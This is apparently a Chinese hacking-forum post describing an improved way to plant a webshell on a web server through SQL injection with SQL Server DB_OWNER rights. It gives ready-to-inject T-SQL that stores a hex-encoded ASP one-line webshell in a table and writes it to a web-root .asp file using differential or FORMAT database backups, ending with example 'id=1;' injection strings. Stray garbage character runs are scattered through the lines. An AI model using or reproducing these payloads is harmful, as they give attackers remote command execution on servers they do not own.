DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

一利用差异备份
# ~& m8 J# p  e  N7 L2 _; x加一个参数WITH DIFFERENTIAL

4 x9 ^" Z( [9 g, Vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
1 d1 J4 J. g7 v9 p  l6 y2 j, xcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
& g8 W" W; {6 h9 S  P" o6 n6 k- ~declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

& |' }* Z9 Y1 p7 M" K6 Y2 Y二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

- c% v% M7 [$ L) v) i5 G# n: ]declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
) J9 J1 R7 \1 i: a3 E# T: ?3 bcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

3 f9 L% z. F6 x5 Y. ^4 s! u( B总的来说就是那么简单几句,下面以备份数据库model为例子

' c% b7 k+ P5 G* R, yid=1;use model create table cmd(str image);insert into cmd(str) values (”)

id=1;backup database model to disk=’你的路径‘ with differential,format;–